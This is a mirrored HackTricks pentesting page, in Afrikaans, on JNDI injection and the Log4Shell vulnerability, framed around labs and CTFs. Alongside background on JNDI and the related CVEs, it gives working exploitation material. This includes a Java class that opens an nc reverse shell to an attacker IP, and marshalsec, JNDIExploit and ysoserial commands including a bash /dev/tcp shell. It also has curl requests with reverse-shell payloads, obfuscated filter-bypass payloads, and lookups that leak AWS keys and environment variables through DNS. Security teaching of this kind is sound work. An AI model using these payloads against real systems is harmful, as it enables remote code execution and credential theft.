Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-26 22:52:06 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md

33 KiB
Raw Blame History

JNDI - Java Naming and Directory Interface & Log4Shell

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Try Hard Security Group

{% embed url="https://discord.gg/tryhardsecurity" %}

Basiese Inligting

JNDI, geïntegreer in Java sedert die laat 1990's, dien as 'n gidsdiens, wat Java-programme in staat stel om data of voorwerpe deur 'n benamingsisteem te vind. Dit ondersteun verskeie gidsdienste via diensverskafferinterfaces (SPI's), wat data ophaling vanaf verskillende stelsels, insluitend afgeleë Java-voorwerpe, moontlik maak. Gewone SPI's sluit CORBA COS, Java RMI Register, en LDAP in.

JNDI Benamingsverwysing

Java-voorwerpe kan gestoor en opgehaal word deur JNDI Benamingsverwysings, wat in twee vorms voorkom:

  • Benamingsadres: Spesifiseer 'n voorwerp se ligging (bv., rmi://bediener/ref), wat direkte ophaling vanaf die gespesifiseerde adres moontlik maak.
  • Afgeleë Fabriek: Verwys na 'n afgeleë fabriekklas. Wanneer dit benader word, word die klas afgelaai en geïnstantieer vanaf die afgeleë ligging.

Hierdie meganisme kan egter uitgebuit word, wat moontlik lei tot die laai en uitvoering van willekeurige kode. As 'n teenmaatreeël:

  • RMI: java.rmi.server.useCodeabseOnly = true standaard vanaf JDK 7u21, wat afgeleë voorwerp laai beperk. 'n Sekuriteitsbestuurder beperk verder wat gelaai kan word.
  • LDAP: com.sun.jndi.ldap.object.trustURLCodebase = false standaard vanaf JDK 6u141, 7u131, 8u121, wat die uitvoering van afgeleë gelaai Java-voorwerpe blokkeer. Indien ingestel op true, is afgeleë kode-uitvoering moontlik sonder 'n Sekuriteitsbestuurder se toesig.
  • CORBA: Het nie 'n spesifieke eienskap nie, maar die Sekuriteitsbestuurder is altyd aktief.

Die Benamingsbestuurder, verantwoordelik vir die oplossing van JNDI-skakels, het nie ingeboude sekuriteitsmeganismes nie, wat moontlik die ophaling van voorwerpe van enige bron toelaat. Dit stel 'n risiko as RMI, LDAP, en CORBA-beskerming omseil kan word, wat lei tot die laai van willekeurige Java-voorwerpe of die uitbuiting van bestaande toepassingskomponente (toestelle) om skadelike kode uit te voer.

Voorbeelde van uitbuitbare URL's sluit in:

  • rmi://aanvaller-bediener/bar
  • ldap://aanvaller-bediener/bar
  • iiop://aanvaller-bediener/bar

Ten spyte van beskerming bly kwesbaarhede, hoofsaaklik as gevolg van die gebrek aan beskerming teen die laai van JNDI van onbetroubare bronne en die moontlikheid om bestaande beskerming te omseil.

JNDI Voorbeeld

Selfs al het jy 'n PROVIDER_URL ingestel, kan jy 'n ander een aandui in 'n opsoek en dit sal benader word: ctx.lookup("<aanvaller-beheerde-url>") en dit is wat 'n aanvaller sal misbruik om willekeurige voorwerpe van 'n stelsel wat deur hom beheer word, te laai.

CORBA Oorsig

CORBA (Common Object Request Broker Architecture) maak gebruik van 'n Interoperable Object Reference (IOR) om afgeleë voorwerpe uniek te identifiseer. Hierdie verwysing sluit noodsaaklike inligting in soos:

  • Tipe-ID: Unieke identifiseerder vir 'n koppelvlak.
  • Kodebasis: URL vir die verkryging van die stub-klas.

Dit is opmerklik dat CORBA nie inherent kwesbaar is nie. Om sekuriteit te verseker, behels dit tipies:

  • Installasie van 'n Sekuriteitsbestuurder.
  • Konfigurering van die Sekuriteitsbestuurder om koppelings na potensieel skadelike kodebasisse toe te laat. Dit kan bereik word deur:
  • Soket-toestemming, bv., permissions java.net.SocketPermission "*:1098-1099", "connect";.
  • Lêerleestoestemming, óf universeel (permission java.io.FilePermission "<<ALL FILES>>", "read";) óf vir spesifieke gids waar skadelike lêers geplaas kan word.

Daar kan egter wees dat sommige vervaardigerbeleide inskiklik is en hierdie koppelings standaard toelaat.

RMI Konteks

Vir RMI (Remote Method Invocation) is die situasie effens anders. Soos met CORBA, is die afleë klaslaaiing standaard beperk. Om RMI uit te buit, sou 'n aanvaller tipies die Sekuriteitsbestuurder moet omseil, 'n prestasie wat ook relevant is in CORBA.

LDAP

Eerstens, moet ons onderskei tussen 'n Soek en 'n Opsoek.
'N soek sal 'n URL soos ldap://localhost:389/o=JNDITutorial gebruik om die JNDITutorial-voorwerp vanaf 'n LDAP-bediener te vind en sy eienskappe op te haal.
'N opsoek is bedoel vir benamingsdienste aangesien ons wil kry wat ook al aan 'n naam gebind is.

Indien die LDAP-soek aangeroep is met SearchControls.setReturningObjFlag() met true, sal die teruggekeerde voorwerp herkonstrueer word.

Daarom is daar verskeie maniere om hierdie opsies aan te val.
'N aanvaller kan LDAP-rekords vergiftig deur lading daarop in te voer wat in die stelsels wat dit versamel, uitgevoer sal word (baie nuttig om tientalle masjiene te kompromiteer as jy toegang het tot die LDAP-bediener). 'N Ander manier om dit uit te buit, sou wees om 'n MitM-aanval in 'n LDAP-soek byvoorbeeld uit te voer.

In die geval dat jy 'n toepassing 'n JNDI LDAP-URL kan laat oplos, kan jy die LDAP wat gesoek sal word, beheer, en jy kan die uitbuiting terugstuur (log4shell).

Deserialisasie-uitbuiting

Die uitbuiting is geserializeer en sal gedeserializeer word.
Indien trustURLCodebase true is, kan 'n aanvaller sy eie klasse in die kodebasis voorsien, indien nie, sal hy toestelle in die klasklas moet misbruik.

JNDI Verwysingsuitbuiting

Dit is makliker om hierdie LDAP aan te val met JavaFactory verwysings:

Log4Shell Kwesbaarheid

Die kwesbaarheid word ingebring in Log4j omdat dit 'n spesiale sintaksis ondersteun in die vorm ${prefix:name} waar prefix een van 'n aantal verskillende Opsoekinge is waar name geëvalueer moet word. Byvoorbeeld, ${java:version} is die huidige lopende weergawe van Java.

LOG4J2-313 het 'n jndi Opsoekfunksie ingevoer. Hierdie funksie maak die verkryging van veranderlikes deur JNDI moontlik. Tipies word die sleutel outomaties voorafgegaan deur java:comp/env/. Indien die sleutel self 'n ":" insluit, word hierdie verstek voorvoegsel nie toegepas nie.

Met 'n : teenwoordig in die sleutel, soos in ${jndi:ldap://voorbeeld.com/a} is daar geen voorvoegsel en word die LDAP-bediener ondervra vir die voorwerp. En hierdie Opsoekinge kan gebruik word in beide die konfigurasie van Log4j sowel as wanneer lyne gelog word.

Daarom is die enigste ding wat nodig is om RCE te kry 'n kwesbare weergawe van Log4j wat inligting verwerk wat deur die gebruiker beheer word. En omdat dit 'n biblioteek is wat wyd deur Java-toepassings gebruik word om inligting te log (insluitend aan die internet blootgestelde toepassings) was dit baie algemeen om byvoorbeeld log4j-logboeke te hê wat HTTP-koptekste ontvang soos die Gebruiker-Agent. Nietemin, word log4j nie net gebruik om HTTP-inligting te log nie, maar enige insette en data wat die ontwikkelaar aangedui het.

Oorsig van Log4Shell-Verwante CVE's

CVE-2021-44228 [Krities]

Hierdie kwesbaarheid is 'n kritieke ongetroue deserialisasie fout in die log4j-core komponent, wat weergawes vanaf 2.0-beta9 tot 2.14.1 affekteer. Dit maak afgeleë kode-uitvoering (RCE) moontlik, wat aanvallers in staat stel om stelsels oor te neem. Die probleem is gerapporteer deur Chen Zhaojun van die Alibaba Cloud Security-span en affekteer verskeie Apache-raamwerke. Die aanvanklike regstelling in weergawe 2.15.0 was onvolledig. Sigma-reëls vir verdediging is beskikbaar (Reël 1, Reël 2).

CVE-2021-45046 [Krities]

Aanvanklik as laag beoordeel maar later opgegradeer na krities, is hierdie CVE 'n Diensweier (DoS) fout as gevolg van 'n onvolledige regstelling in 2.15.0 vir CVE-2021-44228. Dit affekteer nie-standaard konfigurasies, wat aanvallers in staat stel om DoS-aanvalle deur doelgemaakte vragte te veroorsaak. 'n tweet toon 'n omseilingsmetode. Die probleem is opgelos in weergawes 2.16.0 en 2.12.2 deur boodskopsoekpatrone te verwyder en JNDI standaard af te skakel.

CVE-2021-4104 [Hoog]

Wat Log4j 1.x weergawes affekteer in nie-standaard konfigurasies wat JMSAppender gebruik, is hierdie CVE 'n ongetroue deserialisasie fout. Geen regstelling is beskikbaar vir die 1.x-tak nie, wat einde-van-die-lyn is, en dit word aanbeveel om na log4j-core 2.17.0 op te gradeer.

CVE-2021-42550 [Matig]

Hierdie kwesbaarheid affekteer die Logback-lograamwerk, 'n opvolger van Log4j 1.x. Voorheen as veilig beskou, is die raamwerk kwesbaar bevind, en nuwer weergawes (1.3.0-alpha11 en 1.2.9) is vrygestel om die probleem aan te spreek.

CVE-2021-45105 [Hoog]

Log4j 2.16.0 bevat 'n DoS-fout, wat die vrystelling van log4j 2.17.0 aanmoedig om die CVE te regstel. Verdere besonderhede is in BleepingComputer se verslag.

CVE-2021-44832

Wat log4j weergawe 2.17 affekteer, vereis hierdie CVE dat die aanvaller die konfigurasie lêer van log4j beheer. Dit behels potensiële willekeurige kode-uitvoering via 'n gekonfigureerde JDBCAppender. Meer besonderhede is beskikbaar in die Checkmarx blogpos.

Log4Shell Uitbuiting

Ontdekking

Hierdie kwesbaarheid is baie maklik om te ontdek indien onbeskerm omdat dit ten minste 'n DNS-versoek na die adres sal stuur wat jy in jou vrag aandui. Daarom, vragte soos:

  • ${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a} (met behulp van canarytokens.com)
  • ${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh} (met behulp van interactsh)
  • ${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net} (met behulp van Burp Suite)
  • ${jndi:ldap://2j4ayo.dnslog.cn} (met behulp van dnslog)
  • ${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520} (met behulp van huntress)

Merk op dat selfs as 'n DNS-versoek ontvang word, beteken dit nie dat die aansoek uitbuitbaar (of selfs kwesbaar) is nie, jy sal moet probeer om dit uit te buit.

{% hint style="info" %} Onthou dat om weergawe 2.15 uit te buit jy die localhost kontrole omseiling moet byvoeg: ${jndi:ldap://127.0.0.1#...} {% endhint %}

Plaaslike Ontdekking

Soek na plaaslike kwesbare weergawes van die biblioteek met:

find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"

Verifikasie

Sommige van die platforms wat voorheen gelys is, sal jou toelaat om sekere veranderlike data in te voeg wat geregistreer sal word wanneer dit aangevra word.
Dit kan baie nuttig wees vir 2 dinge:

  • Om die kwesbaarheid te verifieer
  • Om inligting te eksfileer deur die kwesbaarheid te misbruik

Byvoorbeeld kan jy iets aanvra soos:
of soos ${jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a} en as 'n DNS-aanvraag ontvang word met die waarde van die omgewingsveranderlike, weet jy dat die aansoek kwesbaar is.

Ander inligting wat jy kan probeer lek:

${env:AWS_ACCESS_KEY_ID}
${env:AWS_CONFIG_FILE}
${env:AWS_PROFILE}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:HOSTNAME}
${env:JAVA_VERSION}
${env:PATH}
${env:USER}
${hostName}
${java.vendor}
${java:os}
${java:version}
${log4j:configParentLocation}
${sys:PROJECT_HOME}
${sys:file.separator}
${sys:java.class.path}
${sys:java.class.path}
${sys:java.class.version}
${sys:java.compiler}
${sys:java.ext.dirs}
${sys:java.home}
${sys:java.io.tmpdir}
${sys:java.library.path}
${sys:java.specification.name}
${sys:java.specification.vendor}
${sys:java.specification.version}
${sys:java.vendor.url}
${sys:java.vendor}
${sys:java.version}
${sys:java.vm.name}
${sys:java.vm.specification.name}
${sys:java.vm.specification.vendor}
${sys:java.vm.specification.version}
${sys:java.vm.vendor}
${sys:java.vm.version}
${sys:line.separator}
${sys:os.arch}
${sys:os.name}
${sys:os.version}
${sys:path.separator}
${sys:user.dir}
${sys:user.home}
${sys:user.name}

Any other env variable name that could store sensitive information

RCE Inligting

{% hint style="info" %} Gasheerstelsels wat op JDK-weergawes bokant 6u141, 7u131 of 8u121 loop, is teen die LDAP-klasselaai-aanvalvektor beskerm. Dit is as gevolg van die standaard deaktivering van com.sun.jndi.ldap.object.trustURLCodebase, wat voorkom dat JNDI 'n afgeleë kodebasis via LDAP laai. Dit is egter noodsaaklik om daarop te let dat hierdie weergawes nie teen die deserialisasie-aanvalvektor beskerm is nie.

Vir aanvallers wat daarop gemik is om hierdie hoër JDK-weergawes te benut, is dit nodig om 'n vertroude toestel binne die Java-toepassing te gebruik. Gereedskap soos ysoserial of JNDIExploit word dikwels vir hierdie doel gebruik. Aan die ander kant is dit relatief makliker om laer JDK-weergawes te benut aangesien hierdie weergawes gemanipuleer kan word om willekeurige klasse te laai en uit te voer.

Vir meer inligting (soos beperkings op RMI- en CORBA-vektore) kyk na die vorige JNDI-naamverwysingsafdeling of https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/ {% endhint %}

RCE - Marshalsec met aangepaste lading

Jy kan dit toets in die THM-boks: https://tryhackme.com/room/solar

Gebruik die gereedskap marshalsec (jar-weergawe beskikbaar hier). Hierdie benadering stel 'n LDAP verwysingbediener op om verbindinge na 'n sekondêre HTTP-bedienaar te stuur waar die uitbuiting gehuisves sal word:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"

Om die teiken aan te spoor om 'n omgekeerde dop te laai, maak 'n Java-lêer met die naam Exploit.java met die volgende inhoud:

public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
}

Kompileer die Java-lêer na 'n klas-lêer met behulp van: javac Exploit.java -source 8 -target 8. Volgende, inisieer 'n HTTP-bediener in die gids wat die klas-lêer bevat met: python3 -m http.server. Verseker dat die marshalsec LDAP-bediener na hierdie HTTP-bediener verwys.

Lok die uitvoering van die uitbuitklas op die vatbare webbediener deur 'n lading te stuur wat lyk soos:

${jndi:ldap://<LDAP_IP>:1389/Exploit}

Nota: Hierdie uitbuiting steun op Java se konfigurasie om afgeleë kodebasis laai via LDAP. Indien dit nie toegelaat word nie, oorweeg om 'n vertroude klas te benut vir willekeurige kode-uitvoering.

RCE - JNDIExploit

{% hint style="info" %} Let daarop dat die skrywer hierdie projek na die ontdekking van log4shell om een of ander rede van github verwyder het. Jy kan 'n gecachete weergawe vind op https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2 maar as jy die skrywer se besluit wil respekteer, gebruik 'n ander metode om hierdie kwesbaarheid uit te buit.

Daarbenewens kan jy nie die bronkode in die wayback machine vind nie, so analiseer óf die bronkode, óf voer die jar uit met die wete dat jy nie weet wat jy uitvoer nie. {% endhint %}

Vir hierdie voorbeeld kan jy net hierdie kwesbare webbediener vir log4shell hardloop op poort 8080: https://github.com/christophetd/log4shell-vulnerable-app (in die README sal jy vind hoe om dit te hardloop). Hierdie kwesbare program log met 'n kwesbare weergawe van log4shell die inhoud van die HTTP-versoekkop X-Api-Version.

Daarna kan jy die JNDIExploit jar-lêer aflaai en dit uitvoer met:

wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access

Na die lees van die kode net 'n paar minute, in com.feihong.ldap.LdapServer en com.feihong.ldap.HTTPServer kan jy sien hoe die LDAP en HTTP bedieners geskep word. Die LDAP-bediener sal verstaan watter lading bedien moet word en sal die slagoffer na die HTTP-bediener omskakel, wat die uitbuiting sal bedien.
In com.feihong.ldap.gadgets kan jy sekere spesifieke toestelle vind wat gebruik kan word om die gewenste aksie uit te voer (potensieel arbitrêre kode uit te voer). En in com.feihong.ldap.template kan jy die verskillende templaatklasse sien wat die uitbuitings sal genereer.

Jy kan al die beskikbare uitbuitings sien met java -jar JNDIExploit-1.2-SNAPSHOT.jar -u. Sommige nuttige een is:

ldap://null:1389/Basic/Dnslog/[domain]
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://null:1389/Basic/ReverseShell/[ip]/[port]
# But there are a lot more

Dus, in ons voorbeeld het ons reeds daardie kwesbare docker-toepassing wat loop. Om dit aan te val:

# Create a file inside of th vulnerable host:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'

# Get a reverse shell (only unix)
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'

Wanneer jy die aanvalle stuur, sal jy 'n paar uitsette sien in die terminaal waar jy JNDIExploit-1.2-SNAPSHOT.jar uitgevoer het.

Onthou om java -jar JNDIExploit-1.2-SNAPSHOT.jar -u te kontroleer vir ander uitbuitingsopsies. Verder, indien nodig, kan jy die poort van die LDAP en HTTP bedieners verander.

RCE - JNDI-Exploit-Kit

Op 'n soortgelyke manier as die vorige uitbuiting, kan jy probeer om JNDI-Exploit-Kit te gebruik om hierdie kwesbaarheid uit te buit.
Jy kan die URL's genereer om aan die slagoffer te stuur deur:

# Get reverse shell in port 4444 (only unix)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444

# Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"

Hierdie aanval met 'n aangepaste gegenereerde Java-voorwerp sal werk in laboratoriums soos die THM solar room. Dit sal egter nie gewoonlik werk nie (aangesien Java nie standaard gekonfigureer is om afgeleë kodebasisse te laai deur middel van LDAP) ek dink omdat dit nie 'n vertroude klas misbruik om willekeurige kode uit te voer nie.

RCE - JNDI-Injection-Exploit-Plus

https://github.com/cckuailong/JNDI-Injection-Exploit-Plus is nog 'n instrument om werkende JNDI-skakels te genereer en agtergronddienste te voorsien deur 'n RMI-bediener, LDAP-bediener en HTTP-bediener te begin.\

RCE - ysoserial & JNDI-Exploit-Kit

Hierdie opsie is werklik nuttig om Java-weergawes aan te val wat gekonfigureer is om slegs spesifieke klasse te vertrou en nie almal nie. Daarom sal ysoserial gebruik word om serialisasies van vertroude klasse te genereer wat as gadgets gebruik kan word om willekeurige kode uit te voer (die vertroude klas wat deur ysoserial misbruik word, moet deur die slagoffer Java-program gebruik word sodat die uitbuiting kan werk).

Deur ysoserial of ysoserial-aangepas te gebruik, kan jy die deserialisasie-uitbuiting skep wat deur JNDI afgelaai sal word:

# Rev shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser

Gebruik JNDI-Exploit-Kit om JNDI-skakels te genereer waar die aanval wag vir verbindings vanaf die kwesbare masjiene. Jy kan verskillende aanvalle wat outomaties gegenereer kan word deur die JNDI-Exploit-Kit of selfs jou eie deserialisasie-ladings (deur jou gegenereer of ysoserial) bedien.

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser

Nou kan jy maklik 'n gegenereerde JNDI-skakel gebruik om die kwesbaarheid uit te buit en 'n omgekeerde dop te verkry deur dit na 'n kwesbare weergawe van log4j te stuur: ${ldap://10.10.14.10:1389/generated}

Oorskrydings

${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi
${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns
${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"

Outomatiese Skandeerders

Laboratoria om te toets

Na-Log4Shell Uitbuiting

In hierdie CTF skryfstuk word goed verduidelik hoe dit potensieel moontlik is om sekere kenmerke van Log4J te misbruik.

Die sekuriteitsbladsy van Log4j het 'n paar interessante sinne:

Vanaf weergawe 2.16.0 (vir Java 8) is die boodskapopsoek-funksie heeltemal verwyder. Opsoeke in konfigurasie werk nog steeds. Verder, Log4j skakel nou toegang tot JNDI standaard af. JNDI-opsoeke in konfigurasie moet nou eksplisiet geaktiveer word.

Vanaf weergawe 2.17.0 (en 2.12.3 en 2.3.1 vir Java 7 en Java 6), word slegs opsoekreekse in konfigurasie rekursief uitgebrei; in enige ander gebruik, word slegs die topvlak-opsoek opgelos, en enige geneste opsoek word nie opgelos nie.

Dit beteken dat jy standaard enige jndi-uitbuiting kan vergeet. Verder, om rekursiewe opsoeke uit te voer, moet jy hulle konfigureer hê.

Byvoorbeeld, in daardie CTF was dit so gekonfigureer in die lêer log4j2.xml:

<Console name="Console" target="SYSTEM_ERR">
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
</PatternLayout>
</Console>

Omgewingsopsoekinge

In hierdie CTF het die aanvaller die waarde van ${sys:cmd} beheer en moes die vlag uit 'n omgewingsveranderlike eksfiltreer.
Soos gesien op hierdie bladsy in vorige ladinge is daar verskillende maniere om toegang tot omgewingsveranderlikes te verkry, soos: ${env:FLAG}. In hierdie CTF was dit nutteloos, maar dit mag in ander werklike scenarios nuttig wees.

Eksfiltrering in Uitsonderings

In die CTF kon jy nie toegang kry tot die stderr van die Java-toepassing nie deur log4J te gebruik nie, maar Log4J uitsonderings word na stdout gestuur, wat in die Python-toepassing gedruk is. Dit beteken dat deur 'n uitsondering te veroorsaak, kon ons die inhoud verkry. 'n Uitsondering om die vlag te eksfiltreer was: ${java:${env:FLAG}}. Dit werk omdat ${java:CTF{blahblah}} nie bestaan nie en 'n uitsondering met die waarde van die vlag sal vertoon word:

Omskakelingspatrone Uitsonderings

Net om dit te noem, kon jy ook nuwe omskakelingspatrone inspuit en uitsonderings veroorsaak wat na stdout gelog sal word. Byvoorbeeld:

Dit was nie nuttig bevind om datum binne die foutboodskap te eksfiltreer nie, omdat die opsoek nie opgelos was voor die omskakelingspatroon nie, maar dit kon nuttig wees vir ander dinge soos opsporing.

Omskakelingspatrone Regexes

Dit is egter moontlik om van sommige omskakelingspatrone wat regexes ondersteun gebruik te maak om inligting uit 'n opsoek te eksfiltreer deur regexes te gebruik en binêre soek of tyd-gebaseerde gedrag te misbruik.

  • Binêre soek via uitsonderingsboodskappe

Die omskakelingspatroon %replace kan gebruik word om inhoud van 'n string te vervang selfs deur regexes te gebruik. Dit werk so: replace{pattern}{regex}{substitution}
Deur hierdie gedrag te misbruik, kan jy vervanging 'n uitsondering veroorsaak as die regex enige iets binne die string pas (en geen uitsondering as dit nie gevind is nie) soos hierdie:

%replace{${env:FLAG}}{^CTF.*}{${error}}
# The string searched is the env FLAG, the regex searched is ^CTF.*
## and ONLY if it's found ${error} will be resolved with will trigger an exception
  • Tyd-gebaseerd

Soos in die vorige afdeling genoem is, ondersteun %replace regexes. Dit is dus moontlik om 'n lading van die ReDoS-bladsy te gebruik om 'n tyduit te veroorsaak as die vlag gevind word.
Byvoorbeeld, 'n lading soos %replace{${env:FLAG}}{^(?=CTF)((.))*salt$}{asd} sou 'n tyduit in daardie CTF veroorsaak.

In hierdie writeup is daar in plaas van 'n ReDoS-aanval 'n amplifikasie-aanval gebruik om 'n tydverskil in die respons te veroorsaak:

/%replace{
%replace{
%replace{
%replace{
%replace{
%replace{
%replace{${ENV:FLAG}}{CTF\{" + flagGuess + ".*\}}{#############################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}

As die vlag met flagGuess begin, word die hele vlag met 29 #-s vervang (ek het hierdie karakter gebruik omdat dit waarskynlik nie deel van die vlag sal wees nie). Elk van die resulterende 29 #-s word dan deur 54 #-s vervang. Hierdie proses word 6 keer herhaal, wat lei tot 'n totaal van 29*54*54^6* =`` ``96816014208 #-s!

Om soveel #-s te vervang, sal die 10-sekondetydlimiet van die Flask-toepassing geaktiveer word, wat op sy beurt tot die HTTP-statuskode 500 aan die gebruiker sal stuur. (As die vlag nie met flagGuess begin nie, sal ons 'n nie-500-statuskode ontvang nie)

Verwysings

Try Hard Security Group

{% embed url="https://discord.gg/tryhardsecurity" %}

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun: